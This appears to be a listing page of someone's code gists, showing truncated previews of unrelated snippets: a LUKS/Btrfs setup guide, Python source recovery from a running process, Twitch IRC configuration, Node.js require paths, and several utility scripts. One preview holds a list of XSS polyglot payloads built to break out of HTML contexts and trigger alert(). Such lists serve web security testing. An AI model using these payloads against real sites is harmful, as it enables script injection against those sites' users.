Fabien LOISON flozz

Encrypted Btrfs storage setup and maintenance guide

Initial setup with LUKS/dm-crypt

This exemplary initial setup uses two devices /dev/sdb and /dev/sdc but can be applied to any amount of devices by following the steps with additional devices.

Create keyfile:

dd bs=64 count=1 if=/dev/urandom of=/etc/cryptkey iflag=fullblock
chmod 600 /etc/cryptkey

How to recover lost Python source code if it's still resident in-memory

I screwed up using git ("git checkout --" on the wrong file) and managed to delete the code I had just written... but it was still running in a process in a docker container. Here's how I got it back, using https://pypi.python.org/pypi/pyrasite/ and https://pypi.python.org/pypi/uncompyle6

Attach a shell to the docker container

Install GDB (needed by pyrasite)

apt-get update && apt-get install gdb

HOWTO

Connect to Twitch.tv chat with an IRC client

Visit this website and get an OAuth Token for your Twitch account.
Add a server to your IRC client with this configuration, using your OAuth Token as the server password. Make sure it is not using SSL.

{
  address = "irc.twitch.tv";
chatnet = "Twitch";

Better local require() paths for Node.js

Problem

When the directory structure of your Node.js application (not library!) has some depth, you end up with a lot of annoying relative paths in your require calls like:

const Article = require('../../../../app/models/article');

Those suck for maintenance and they're ugly.

	#!/usr/bin/env python3

	"""
	Make a PDF file editable in LibreOffice.

	LibreOffice Draw can import and export PDF files, effectively making it a PDF editor.
	However text in imported documents often looks broken, such as with
	text rendered with a different font and overflowing into the next column.
	What I suspect happens is that PDF files typically embed every font they use,
	but LibreOffice’s internal document model does not support embedded fonts

	#!/usr/bin/env python3

	"""
	This script displays the battery level of a SteelSeries Acrtis 7 headset.


	USING
	-----

	To use this script you must install hidapi (https://github.com/trezor/cython-hidapi):

	javascript:"/'/`/--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/<svg/*/onload=alert()//>
	javascript:"/'/`/\" /</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/<html//onmouseover=alert()//>
	javascript:"/\"/`/' /</template></textarea></noembed></noscript></title></style></script>--><svg onload=/<html//onmouseover=alert()//>
	javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/--><html / onmouseover=alert()//'>`
	javascript:`/\"/--><svg onload='/</template></noembed></noscript></style></title></textarea></script><html onmouseover="/*/ alert()//'">`
	javascript:"/'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame / onload=alert()//</script>
	javascript:"/`/\"/'/</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/<i<frame// onload=alert()//</Script>
	javascript:`</template>\"///"//<

	#!/boot/bzImage

	# Linux kernel userspace initialization code, translated to bash
	# (Minus floppy disk handling, because seriously, it's 2017.)
	# Not 100% accurate, but gives you a good idea of how kernel init works
	# GPLv2, Copyright 2017 Hector Martin <[email protected]>
	# Based on Linux 4.10-rc2.

	# Note: pretend chroot is a builtin and affects the current process
	# Note: kernel actually uses major/minor device numbers instead of device name

	#!/usr/bin/python3
	# vim:fileencoding=utf-8:sw=4:et

	# Convert between pygobject Pixbuf and PIL/Pillow image format
	# Also a function to do fast gamma correction with Pillow image

	from __future__ import print_function, unicode_literals, absolute_import
	import sys

	from gi.repository import GLib, GdkPixbuf

	import ctypes, sys
	from ctypes import windll, wintypes
	from uuid import UUID

	class GUID(ctypes.Structure): # [1]
	_fields_ = [
	("Data1", wintypes.DWORD),
	("Data2", wintypes.WORD),
	("Data3", wintypes.WORD),
	("Data4", wintypes.BYTE * 8)